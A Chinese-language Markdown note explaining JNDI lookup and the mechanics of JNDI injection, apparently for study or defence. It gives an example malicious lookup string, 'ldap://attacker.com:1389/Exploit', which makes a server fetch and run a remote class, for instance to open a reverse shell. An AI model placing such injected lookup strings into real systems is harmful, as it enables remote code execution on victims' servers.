Files
2025-09-25 03:24:57 +08:00

24 lines
2.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### JNDI 的解析流程和原理
**JNDI 的解析流程**
JNDI 的解析过程可以概括为以下几个步骤:
1. **初始上下文(Initial Context**:应用程序首先通过 `javax.naming.InitialContext` 类创建一个初始上下文。这个上下文是 JNDI 查找的起点,它包含了连接到特定命名和目录服务所需的环境信息,例如服务提供商的 URL、认证信息等
2. **查找(Lookup**:应用程序使用 `context.lookup(name)` 方法来查找一个对象。`name` 是一个字符串,表示要查找的对象的名称或路径
3. **服务提供商(Service Provider**:JNDI 会根据初始上下文中配置的服务提供商信息,将查找请求委托给相应的服务提供商。例如,如果 URL 是 `ldap://...`,则会使用 LDAP 服务提供商;如果 URL 是 `rmi://...`,则会使用 RMI 服务提供商
4. **命名和目录服务**:服务提供商与实际的命名和目录服务进行通信,并根据请求的名称查找对应的对象
5. **返回结果**:命名和目录服务返回查找到的对象。这个对象可以是任何 Java 对象,例如一个字符串、一个数据库连接,甚至是一个远程方法调用的引用
**JNDI 注入的原理**
JNDI 注入是一种利用 JNDI 漏洞的攻击方式。它的核心思想是,**攻击者控制了 `context.lookup(name)` 方法中的 `name` 参数,使其指向一个恶意的远程服务,从而在受害者服务器上执行任意代码**
具体原理如下:
1. **注入恶意 URL**:攻击者通过某种方式(如 HTTP 请求参数、日志等)将一个恶意的 JNDI URL 注入到应用程序中。这个 URL 通常指向攻击者控制的远程服务器,例如 `ldap://attacker.com:1389/Exploit`
2. **触发查找**:应用程序在处理用户输入时,无意中将这个恶意 URL 作为 `context.lookup()` 方法的参数进行调用
3. **JNDI 请求恶意服务**:JNDI 框架会向攻击者控制的 LDAP 服务器发起请求,查找 `Exploit` 这个对象
4. **返回恶意引用**:攻击者的 LDAP 服务器接收到请求后,会返回一个特殊的响应,这个响应中包含了**一个远程代码库(Codebase)的 URL**,例如 `http://attacker.com/`,以及一个类名 `Exploit`
5. **加载远程类**:当 JNDI 收到这个响应后,它会根据返回的远程代码库 URL,从攻击者的 Web 服务器下载 `Exploit.class` 文件
6. **执行恶意代码**JNDI 框架会自动实例化并执行 `Exploit` 类中的代码。`Exploit` 类通常包含一个静态代码块或构造函数,用于执行恶意命令,例如反弹 shell、创建文件等